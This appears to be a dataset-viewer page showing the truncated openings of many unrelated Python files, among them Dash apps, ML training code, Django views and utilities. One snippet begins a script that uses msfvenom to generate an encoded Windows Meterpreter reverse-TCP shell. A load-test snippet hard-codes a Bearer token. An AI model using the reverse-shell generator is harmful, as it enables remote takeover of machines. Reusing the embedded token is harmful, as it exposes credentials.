content stringlengths 5 1.05M |
|---|
import numpy as np
import dash
from dash import dcc, html
from dash.dependencies import Input, Output
import transform
import dash_daq as daq
import graphics
import filters
app = dash.Dash(__name__, suppress_callback_exceptions=True)
@app.callback(
Output('datatable-interactivity', 'style_data_conditional'),
... |
import os
import torch
from torch.utils.tensorboard import SummaryWriter
import torch.backends.cudnn as cudnn
from Lib.Datasets.EUSAR.EUSARDataset import EUSARDataset
from Lib.Nets.BL.BL import BL
from Lib.Nets.utils.config.config_routine import config_routine
from Lib.Nets.utils.config.general_parser import general_pa... |
# -*- coding: utf-8 -*-
"""Main function zfs-replicate."""
import itertools
import click
from .. import filesystem, snapshot, ssh, task
from ..compress import Compression
from ..filesystem import FileSystem
from ..filesystem import filesystem as filesystem_t
from ..ssh import Cipher
from .click import EnumChoice
@c... |
#!/usr/bin/env python
# Copyright 2011 Google Inc. All Rights Reserved.
"""GRR specific AFF4 browser analysis objects."""
from grr.lib import aff4
from grr.lib import rdfvalue
from grr.lib.aff4_objects import aff4_grr
class VFSBrowserExtension(aff4_grr.VFSMemoryFile):
"""A extension analysis result."""
clas... |
from utils.dataiter import Dataset
from utils.preprocessing import *
from models.baseline.random_model import random_prediction_model
from models.model.FFNN_ALL import FFNN_ALL
from core.config import raw_features
from utils.evaluate import calculate_ctr, compute_rce, average_precision_score
import core.config as co... |
from ..libs import Gtk
from ..window import GtkViewport
from .base import Widget
class TogaSplitContainer(Gtk.Paned):
def __init__(self, impl):
Gtk.Paned.__init__(self)
self._impl = impl
self.interface = self._impl.interface
def do_size_allocate(self, allocation):
Gtk.Paned.do... |
import logging
from rdr_service.tools.tool_libs.tool_base import cli_run, ToolBase
from rdr_service.services.gcp_utils import gcp_monitoring_list_policy, gcp_monitoring_create_policy, \
gcp_monitoring_update_policy, gcp_monitoring_delete_policy
_logger = logging.getLogger("rdr_logger")
tool_cmd = 'monitoring-polic... |
#!/usr/bin/env python
from __future__ import print_function
import os
import re
import sys
import subprocess
import argparse
DEVNULL = open(os.devnull, 'wb')
_REGEX = re.compile('^(?P<major>(?:0|[1-9][0-9]*))'
'\.(?P<minor>(?:0|[1-9][0-9]*))'
'\.(?P<patch>(?:0|[1-9][0-9]*))'... |
import tensorflow as tf
from tf_agents.agents.ddpg import critic_network
from tf_agents.agents.sac import sac_agent, tanh_normal_projection_network
from tf_agents.networks import actor_distribution_network
from tf_agents.train.utils import spec_utils, strategy_utils, train_utils
class SAC:
def __init__(self, coll... |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import calendar
import datetime
import jpholiday
from functools import singledispatch
def is_bizday(day: datetime.date):
"""
day が営業日か、否かを判定し、論理値を返します。 1/1 ~ 1/3 は祝日と判定します。 12 月の祝日はカレンダー通りに扱います。
"""
if(jpholiday.is_holiday(day)):
retu... |
#
# Copyright 2016 The BigDL Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... |
FONT = "News Cycle"
FONT_SIZE = "20pt"
WATER_COLOR_RANGE = ["#8c9494", "#8398a2", "#7c9baa", "#73a1b4", "#6aa6bd", "#62abc7", "#5aafd0", "#52b4d9", "#49bae4", "#3fc0f0"]
SANITATION_COLOR_RANGE = ["#d45500", "#da670f", "#eb7e1f", "#eb941f", "#ebb01f", "#f2c83d", "#d3cc4f", "#86c26f", "#4db181", "#15b598"]
NODATA_COLOR =... |
"""
source --->(send data) to cor , that actually does the work
so we have source as datafllow and cor as the worker
"""
l = [1, 2, 3, 4, 5, 6, 7, 7, 2, 2, 1, 2, 3, 4, 4, 312, 321, 321, 33, 4123, 12, 312, 3, 12, 2]
def coroutine(fun):
def start(*args,**kwargs):
cr=fun(*args,**kwargs)
next(cr)
retur... |
# USAGE
# python visualize_image_pairs.py --dataset dataset/ --color iron --set test
# import the necessary packages
from imutils import paths
import numpy as np
import argparse
import imutils
import json
import cv2
import os
# construct argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add... |
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
from setuptools import setup
setup(name='confhttpproxy',
version='0.0.0',
description='Python interface for jupyter/configurable-http-proxy',
author='Bill Van Besien',
author_email='support@gigantum.io',
license='MIT',
packages=['confhttpproxy'],
install_requires=[
'... |
"""
owtf.constants
~~~~~~~~~~~~~~
Ranking constants used across the framework.
"""
# `int` value of ranks
OWTF_UNRANKED = -1
OWTF_PASSING = 0
OWTF_INFO = 1
OWTF_LOW = 2
OWTF_MEDIUM = 3
OWTF_HIGH = 4
OWTF_CRITICAL = 5
# Maps `int` value of ranks with `string` value.
RANKS = {
OWTF_UNRANKED: 'Unranked',
OWTF_P... |
"""
A dynamic and intelligent module to save both structured and unstructured data locally and/or on the cloud.
Structured data shopuld be inputted in the form of a pandas dataframe, and unstructurted data should be inputted as a dictionary
containing relevant id's as keys and iterable objects of source links as valu... |
#!/usr/bin/python
import sys
import os
import json
import pprint
import logging
import shutil
from optparse import OptionParser
sys.path.append("src")
from download import Download
parser = OptionParser()
parser.add_option("-c", "--config-file", dest="configFile", help="Read config data from FILE", metavar="FILE")
p... |
from six import PY3
from hashlib import md5
import sqlite3
import os
from Bio import SeqIO, bgzf
from pyfaidx import Fasta
from dark.reads import Reads, DNARead
from dark.utils import asHandle
def fastaToList(fastaFilename):
return list(SeqIO.parse(fastaFilename, 'fasta'))
def dedupFasta(reads):
"""
R... |
from telegram import InlineKeyboardMarkup, InlineKeyboardButton
from telegram.ext import CallbackQueryHandler, Dispatcher
from src import AbstractDatabaseBridge
from src.common.const import *
from src.common.local_storage import Client
from src.common.tg_utils import send_typing_action, TICKET_CMD, \
CommandPrefix... |
"""
configs for the attention modules
"""
from itertools import repeat
from copy import deepcopy
from easydict import EasyDict as ED
__all__ = [
"non_local",
"squeeze_excitation",
"global_context",
]
non_local = ED()
non_local.filter_lengths = {
"g":1, "phi":1, 'theta':1, "W":1,
}
non_local.subsamp... |
from flask import request
from flask_restful import reqparse, Resource
import json
from database.interface import FirebaseInterface
class TrucksController(Resource):
def __init__(self):
self.parser = reqparse.RequestParser()
self.interface = FirebaseInterface()
def get(self):
dic = {... |
arch =[
{
'npoint': 8192,
'radius': 1,
'nsample': 16,
'mlp': [64, 512, 128],
'pooling': 'max_and_avg',
'mlp2': None,
'reverse_mlp': [128,64]
},
{
'npoint': 4096,
'radius': 5,
'nsample': 64,
'mlp': [128, 512, 256],
... |
from celery import shared_task
from waldur_core.core import utils as core_utils
from waldur_core.structure import models as structure_models
from . import models, utils
def get_structure_allocations(structure):
if isinstance(structure, structure_models.Project):
return list(models.Allocation.objects.fil... |
n=int(input("Informe um numero: "))
print("O dobro do numero digitado é", n*2, ", o triplo é", n*3, ", e a raiz quadrada é",n**(1/2))
|
from collections import Counter
from dataclasses import dataclass, field
from typing import Optional
from action import Action
@dataclass
class Player:
action: Action = Action()
attack_action: Action = Action()
defend_action: Action = Action()
health: int = 10
rage: int = 0
visible_threat: i... |
import os
import argparse
import time
import math
import sys
import warnings
import torch
import torch.nn as nn
import torch.optim as optim
from tensorboardX import SummaryWriter
from model import AttentiveRNNLanguageModel, get_model
from train import evaluate, train
from utils import generate_filename, save_attenti... |
from django.urls import path
from . import views
app_name = 'search_satellite_images'
urlpatterns = [
path('', views.index, name='index'),
path('info/', views.get_download_info, name='info'),
path('help/', views.get_help, name='help')
] |
from decimal import Decimal
import environ
env = environ.Env()
CART_LIFESPAN = 60
UNVERIFIED_USER_LIFE_HOURS = 72
EARLIEST_DELIVERY_DATE_DAYS_RANGE = (1, 14)
NON_COOPERATIVE_MEMBERS_PLATFORM_FEE = Decimal(
env("NON_COOPERATIVE_MEMBERS_PLATFORM_FEE", default="2.0", cast=str)
)
|
# Copyright 2020 - 2021 MONAI Consortium
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in wri... |
"""Utilities to manage OECD data from the World Bank
"""
from pathlib import Path
import pandas as pd
import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
from IPython.core.display import HTML, display_html
from pandas_datareader import wb
from chris_util... |
from django import forms
from django.contrib import admin
from django.core.exceptions import ValidationError
from .models import Address, Region, User
from .utils import normalize_address
class AddressForm(forms.ModelForm):
class Meta:
model = Address
fields = ('address', 'etc', 'old', 'new','zip... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Trimming FASTQ reads, SE an PE
- 3' adapter
- low quality bases at both ends
- for NSR, trim 7 nt at the beginning of reads
- poly(N) sequences
- (optional) barcode at 5' or 3' end
- (optional) additional adpaters
## To-do
- add subparser / subprogram
http... |
#
# Copyright 2019 Xilinx Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... |
import logging
from datetime import date, datetime, timedelta, timezone
from time import sleep
import boto3
import psycopg2
from archiver import archive, delete, settings
logging.basicConfig(level=settings.LOGLEVEL)
logger = logging.getLogger(__name__)
def sleep_until_midnight():
now = datetime.now(timezone.ut... |
""" Implementation of a Signal Value """
from typing import List
import warnings
import math
class SignalValue:
""" Data container class for signal values
A signal is a collection of these, sorted by self.timestamp (ascending) """
def __init__(self, time: float, value: float, derivative: float = None) -> None:
... |
#!/bin/env python3
import sys
import random
import string
import os
import time
import subprocess
import argparse
base_dir = os.getcwd()
payload = 'windows/x64/meterpreter/reverse_tcp'
def generateEncodedShell(encoder,ip,port,key):
# Generate msfvenom payload
subprocess.run("msfvenom -a x64 --platform Windows -p {... |
import discord
from discord.ext import commands
intents = discord.Intents.default()
intents.members = True
client = commands.Bot(command_prefix="-", intents = intents)
TOKEN = 'YOUR_TOKEN_HERE'
|
import sys
from PySide import QtGui, QtCore
import nodify
class Window(QtGui.QWidget):
def __init__(self):
super(Window, self).__init__()
self.setWindowTitle('Nodify Test')
self.setMinimumSize(800, 600)
l = QtGui.QGridLayout()
l.setColumnStretch(0, 1)
l.setRowStr... |
from AStar import *
from flask import Flask, request, jsonify
import json
import random
import pdb
app = Flask(__name__)
SNEK_BUFFER = 3
ID = 'de508402-17c8-4ac7-ab0b-f96cb53fbee8'
SNAKE = 1
WALL = 2
FOOD = 3
GOLD = 4
SAFTEY = 5
def init(data):
grid = [[0 for col in xrange(data['height'])] for row in xrange(dat... |
from locust import HttpLocust, TaskSet
token = 'Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjhhNjNmZTcxZTUzMDY3NTI0Y2JiYzZhM2E1ODQ2M2IzODY0YzA3ODciLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJhenAiOiIzMjU1NTk0MDU1OS5hcHBzLmdvb2dsZXVzZXJjb250ZW50LmNvbSIsImF1ZCI6IjMyNTU1OTQwNTU5LmFwcHMuZ29vZ2xldXNlcmNvb... |
#!/usr/bin/env python
#this barrier is designed for condor simulation
import socket
import sys
import time
import threading
import os
c_list=[]
TCP_IP = sys.argv[2]#'128.104.189.129'
TCP_PORT = sys.argv[1]
BUFFER_SIZE = 1
NumOfNodes = int(sys.argv[3])
os.system('echo 0 > ' + sys.argv[4])
s = socket.socket(socket.AF_IN... |
import os
import pickle
import re
import hashlib
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from SwitchTracer.cores.contrib.couriermiddlewares import status
from SwitchTracer.cores.contrib.couriermiddlewares.componets.confs import vacancy_uniconf
from SwitchTracer.cores.contrib.courier... |
import click
@click.command(
short_help="Run a command within a project's environment",
context_settings={'help_option_names': [], 'ignore_unknown_options': True},
)
@click.argument('args', required=True, nargs=-1)
@click.pass_obj
def run(app, args):
"""Run commands within a project's environment."""
... |
# Standard
import time
# 3rd Party
import zmq
# Local
import DataModel
context = zmq.Context()
socket = context.socket(zmq.SUB)
socket.connect('tcp://localhost:12345') # In the guide, the subscribers connect to well know addresses (in this we stay local)
socket.setsockopt_string(zmq.SUBSCRIBE, '') # If ... |
import pareto
# Short example
pf = pareto.front()
# Good at x[0]
pf[0., 1.] = 17
# Good at x[1]
pf[1., 0.] = 32
# Dominated by [1., 0.]
pf[2., 1.] = 36
for [k, v] in pf:
print(k, " -> ", v)
# Constructor
pf = pareto.front(['min', 'max', 'min'])
pf[-2.57664, -1.52034, 0.600798] = 17
pf[-2.14255, -0.518684, -2.923... |
import typing
def debug(variable: object, name: str = "None", message: str = "None") -> None:
"""
variable = The variable you want to print out.
name = The name of the variable, default is None. This is just to make it clear what variable the function is printing.
"""
try:
typeVar = type(variable)
except E... |
# -*- coding:utf-8 -*-
BILLING_BASE_URL=""
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
'LOCATION': [''],
}
}
TIME_ZONE="Asia/Shanghai"
#卖家信息
ALIPAY_SELL_EMAIL=""
ALIPAY_SELL_ID=""
ALIPAY_KEY =""
SESSION_COOKIE_DOMAIN=''
#SESSION_COOKIE_NAME='sessi... |
from __future__ import division
import numpy as np
from numpy.testing import assert_equal
import pytest
import celiagg as agg
@pytest.fixture
def canvas():
buffer = np.zeros((5, 5), dtype=np.uint8)
return agg.CanvasG8(buffer)
@pytest.fixture
def paint():
return agg.SolidPaint(1/255, 1/255, 1/255)
@p... |
from rest_framework import generics
from rest_framework import mixins
from rest_framework import viewsets
import django_filters
from django_filters import rest_framework as filters
from .models import Goods,GoodsCategory
from .serializer import GoodsSerializer,CategarySerializer,\
BannerSerializer
from django.db.mo... |
#!/usr/bin/env python
import os
import sys
import socket
import subprocess
import re
working_dir = '/etc/nsd/zones'
class zone:
def __init__(self):
self.name = None
self.zonefile = None
def is_complete(self):
if self.name and self.zonefile:
return True
def check_zone(... |
#!/usr/bin/env python
# encoding: utf-8
#
# Copyright SAS Institute
#
# Licensed under the Apache License, Version 2.0 (the License);
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... |
def singleNumber(nums):
return 2 * sum(set(nums)) - sum(nums)
|
import requests
import json
import os
import pandas as pd
import numpy as np
app_key = os.environ.get("PRIVATE_API_KEY")
app_id = os.environ.get("PRIVATE_API_ID")
def obtain_recipe(app_key, app_id, q, to = 10, ingr = 10):
"""
Using this obtain_recipe function to collect data from EDAMAM API.
EDAMAM API pro... |
# -*- coding: utf-8 -*-
# Copyright 2019 Cohesity Inc.
import cohesity_management_sdk.models.stats_group
import cohesity_management_sdk.models.usage_schema_info
import cohesity_management_sdk.models.data_usage_stats
class TenantStats(object):
"""Implementation of the 'TenantStats' model.
TODO: type model de... |
#coding:utf-8
'''
python图片处理
@author:fc_lamp
@blog:http://fc-lamp.blog.163.com/
'''
import Image as image
#等比例压缩图片
def resizeImg(**args):
args_key = {'ori_img':'','dst_img':'','dst_w':'','dst_h':'','save_q':75}
arg = {}
for key in args_key:
if key in args:
arg[key] = args[ke... |
from django.contrib import admin
from .models import Volume, Content, Boilerplate
class VolumeAdmin(admin.ModelAdmin):
list_display = ('number', 'published',)
admin.site.register(Volume, VolumeAdmin)
class ContentAdmin(admin.ModelAdmin):
def get_changeform_initial_data(self, request):
get_data = ... |
# Author: btjanaka (Bryon Tjanaka)
# Problem: (Kattis) warehouse
# Title: Warehouse
# Link: https://open.kattis.com/problems/warehouse
# Idea: Counting with a dictionary
# Difficulty: easy
# Tags: implementation
import sys
from collections import defaultdict
t = int(input())
for _ in range(t):
n = int(input())
... |
#!/usr/bin/env python3
import csv
import argparse
import traceback
import os
from qiime2 import Artifact, Metadata
from qiime2.plugins.vsearch.methods import join_pairs
from qiime2.plugins.quality_filter.methods import q_score
from qiime2.plugins.demux.visualizers import summarize
from qiime2.plugins.feature_table.vi... |
import locale
import time
locales = ['en_US',
'fr_FR',
'de_DE',
'es_ES',
'it_IT',
'nl_NL',
'pt_BR',
'tr_TR',
'cs_CZ',
'el_GR',
'sv_SE',
'pl_PL',
'sk_SK',
'ro_RO',... |
from pynq import Overlay
from pynq import MMIO
import pynq.lib.dma
class _Fpga(object):
def __init__(self, bit_file = "./bit/gemm1.bit"):
self._overlay = Overlay(bit_file)
gemm_address = self._overlay.ip_dict['top_0/S_AXI']['phys_addr']
gemm_range = self._overlay.ip_dict['top_0/S_AXI']['ad... |
from django.shortcuts import render
from .models import *
from django.http import JsonResponse
import json
import datetime
from .utils import cookieCart, cartData, guestOrder
# Create your views here.
def store(request):
# After Models, migration, admin and added values by admin
data = cartData(request)
cartItem... |
from chatterbot import ChatBot
bot = ChatBot("Example",
storage_adapter="chatterbot.adapters.storage.JsonDatabaseAdapter",
logic_adapters=[
"chatterbot.adapters.logic.ClosestMatchAdapter"
],
input_adapter="chatterbot.adapters.input.VariableInputTypeAdapter",
output_adapter="chatterbot.adap... |
from django.shortcuts import render
def tunex_home(request, *args, **kwargs):
return render(request, "index.html")
def staticpage(request, *args, **kwargs):
return render(request, "static.html")
def aboutpage(request, *args, **kwargs):
return render(request, "about.html")
def uploadImage(request, *a... |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""Prepare for making dataset (Switchboard corpus)."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from os.path import join, basename
from glob import glob
class Path(object):
"""Prepare for making d... |
from .raypipe import raypipe
from .hashing import hash
from .utils import get_tmp_path, get_tmp_directory
from .imports import ensure_dir, find_parent_dir_containing
from .d import measure_duration
|
# -------------------------------------------------------------------------------
# Copyright IBM Corp. 2016
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licens... |
from daisy.api.configset.clush import config_clushshell
class configBackend():
def __init__(self, type, req, role_id):
self.type = type
self._instance = None
if type == "clushshell":
self._instance = config_clushshell(req, role_id)
elif type == "puppet"... |
from serial import Serial
import logging
import re
import sys
from sleekxmpp import ClientXMPP
from sleekxmpp.xmlstream import ET
from sleekxmpp.plugins.xep_0004.stanza.form import Form
class DashboardController(ClientXMPP):
def __init__(self, jid, password, pubsub_server):
ClientXMPP.__init__(self, jid, ... |
# Copyright 2020 Xilinx Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
import sys
from taurus.external.qt import Qt
from taurus.qt.qtgui.application import TaurusApplication
app = TaurusApplication(sys.argv, cmd_line_parser=None)
panel = Qt.QWidget()
layout = Qt.QHBoxLayout()
panel.setLayout(layout)
from taurus.qt.qtgui.container import TaurusWidget
from taurus.qt.qtgui.display import T... |
import copy
import pytz
from uuid import uuid4
from datetime import datetime
from django.contrib.sites.models import Site
from django.contrib.auth.models import User
from django.urls import reverse
from django.utils.http import urlencode
from rest_framework import status
from rest_framework.test import APITestCase
fro... |
from text_utils.symbol_id_dict import SymbolIdDict
def test_remove_symbol_ids():
res = SymbolIdDict.init_from_symbols({"a", "b", "c"})
res.remove_ids({0, 2})
assert len(res) == 1
assert res.get_symbol(1) == "b"
assert res.get_id("b") == 1
def test_init_from_symbols_adds_no_symbols():
res = SymbolIdDict... |
import inspect, sys
def getDict():
"""creating a dictionary of commands"""
cd = {}
fs = inspect.getmembers(sys.modules[__name__], inspect.isfunction)
for c, f in fs:
if "getDict" not in c:
cd[c] = f
return cd
def getLims():
"""creating a dictionary of time limits for each f... |
import curses
import time
screen = curses.initscr()
curses.noecho()
curses.cbreak()
screen.keypad(True)
screen.addstr(5, 5, "Hello")
screen.refresh()
time.sleep(3)
curses.endwin()
|
# -*- coding: utf-8 -
#
# This file is part of restkit released under the MIT license.
# See the NOTICE for more information.
from . import t
from restkit.errors import RequestFailed, ResourceNotFound, \
Unauthorized
from restkit.resource import Resource
from ._server_test import HOST, PORT
@t.resource_request()
d... |
import unittest
import os
import sys
import time
from mock import patch, mock_open, MagicMock
import logging
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', '..'))
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', '..', '..', 'src'))
from peachyprinter.api.print_api import PrintAPI, ... |
from Map import Map
from Entity import Entity
from Terrain import Terrain
from terrains import *
|
from duckql.properties import Property
from duckql.structures import Order
def test_simple():
my_order = Order(
property=Property(name='users.name')
)
assert str(my_order) == 'users.name ASC'
def test_descending():
my_order = Order(
property=Property(name='users.name'),
kind... |
def wordcount(fname):
try:
fhand = open(fname, "r")
except:
print("File can not be opened")
exit()
count = dict()
for line in fhand:
words = line.split()
for word in words:
if word not in count:
count[word] = 1
else:
... |
import sys
import os
import random
import torch
import argparse
import numpy as np
import time
import shutil
import json
import my_optim
import torch.optim as optim
from models import vgg_gnn
import torch.nn as nn
from torchvision import transforms
from torch.utils.data import DataLoader
import torch.nn.functional as F... |
from Test import Test, Test as test
'''
A stream of data is received and needs to be reversed.
Each segment is 8 bits long, meaning the order of these segments needs to be reversed, for example:
11111111 00000000 00001111 10101010
(byte1) (byte2) (byte3) (byte4)
should become:
10101010 00001111 00000000... |
N = [0]*5
for i in range(5):
N[i] = int(input())
if N[i] < 40:
N[i] = 40
print(sum(N)//5)
|
lista = []
listapar = []
listaimpar = []
while True:
num = int(input("Digite um valor: "))
resp = str(input("Quer continuar[S/N]: ")).upper()
lista.append(num)
if num % 2 == 0:
listapar.append(num)
else:
listaimpar.append(num)
if resp == "N":
break
print(f"A lista comple... |
#!/usr/bin/env python
"""Simple TCP/IP communication with a server.
Friedrich Schotte, Nov 6, 2016 - Aug 28, 2017
"""
__version__ = "1.3" # (ip_address,port) -> ip_address_and_port
from logging import debug,info,warn,error
connections = {}
timeout = 5.0
def send(ip_address_and_port,command):
"""Send a command ... |
"""
Bezier curves, or B-splines, are a family of curves that are extremely useful
in vector graphics – for instance, they are commonly used in high-quality font
packages. This is because they are defined by a small number of points that
can then be used to inexpensively calculate a large number of points along the
curv... |
from sentiment_analysis.evaluation import EvaluationMetrics
class NLPSampleEvaluationMetrics(EvaluationMetrics):
"""
Class to hold the actual values the evaluation created, e.g. precision, recall, MSE.
"""
def __init__(self, validation_score):
self.validation_score = validation_score
... |
from gurobipy import *
import numpy as np
# v = no of vehicles, n = time intervals, i vehicles, j intervals
v = 10; n = 10; interval = 24.0/n; MaxP = 20; SOC = 4;
d = {'MaxP': MaxP, 'SOC': SOC}
def kwH_rate (t):
if (0 <= t < 9) or (22 <= t < 24):
result = 20
if 9 <= t < 14:
result = 10
if ... |
from functools import wraps
import magma as m
from magma.bitutils import seq2int
from mantle import And, NAnd, Or, NOr, XOr, NXOr, LSL, LSR, Not, Invert, UDiv, SDiv, UMod, SMod, Mul
from mantle import ASR
from mantle import EQ, NE, ULT, ULE, UGT, UGE, SLT, SLE, SGT, SGE
from mantle import Mux
from .arith import Add, S... |
#-------------------------------------------------------------------------------
# Provide the abstact Boundary interface, suitable for injection to our actual
# classes.
#-------------------------------------------------------------------------------
from PYB11Generator import *
@PYB11ignore
class BoundaryAbstractMet... |
from django.contrib import admin
# Register your models here.
from LMS.models import Faculty, Course, Unit, Student
admin.site.register(Faculty)
admin.site.register(Course)
admin.site.register(Unit)
admin.site.register(Student)
|
from django.contrib import admin
from .models import Post, Category, Shop
admin.site.register(Post)
admin.site.register(Category)
admin.site.register(Shop)
|
from django.conf.urls.defaults import *
from models import Article
from feeds import RSSv1LatestArticles, RSSv2LatestArticles, AtomLatestArticles
rss_v1_feeds = {
'latest': RSSv1LatestArticles
}
rss_v2_feeds = {
'latest': RSSv2LatestArticles,
}
atom_v1_feeds = {
'latest': AtomLatestArticles,
}
urlpatter... |
import unittest
import numpy as np
from scipy import fftpack
from piano import create_harmonies
from conversion_table import name_to_key as table
class CreateHarmonies(unittest.TestCase):
def test_create_harmonies(self):
# reference (with permission): https://cs510sound-spring2021.zulip.cs.pdx.edu/#narrow/... |
# -*- coding: utf-8 -*-
from numpy import ndarray
from sklearn.feature_extraction.image import extract_patches_2d
from ml.utils import is_array
class PatchPreprocessor:
"""
Extract randomly a part of image
"""
def __init__(self, width: int, height: int) -> None:
"""
Initialization
... |
"""
molecool
A python package for analyzing and visualizing molecules. For MolSSI Best practices Nov 2019
"""
# Add imports here
from .functions import * #Import all functions; call using molecool.canvas()
from .Measure import calculate_distance, calculate_angle
from .Molecule_Operations import build_bond_list, calcul... |
"""Create a Mesh object by parsing a file either in .ply format or .obj format
"""
import os
import sys
import numpy as np
import trimesh
import re
from .pointcloud import PointcloudFromOBJ, Pointcloud, PointcloudFromOFF
class Mesh(object):
"""A collection of vertices, normals and faces that construct a 3D mesh... |
import pprint
import random
import os
import fbuild
import fbuild.db
from fbuild.path import Path
# ------------------------------------------------------------------------------
@fbuild.db.caches
def foo(ctx, src:fbuild.db.SRC, dst, *, buildroot=None) -> fbuild.db.DST:
dst = Path.addroot(dst, buildroot or ctx.b... |
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Copyright (c) 2014-2021, Lars Asplund lars.anders.asplund@gmail.com
"""
Functionality to represent and operate on VH... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.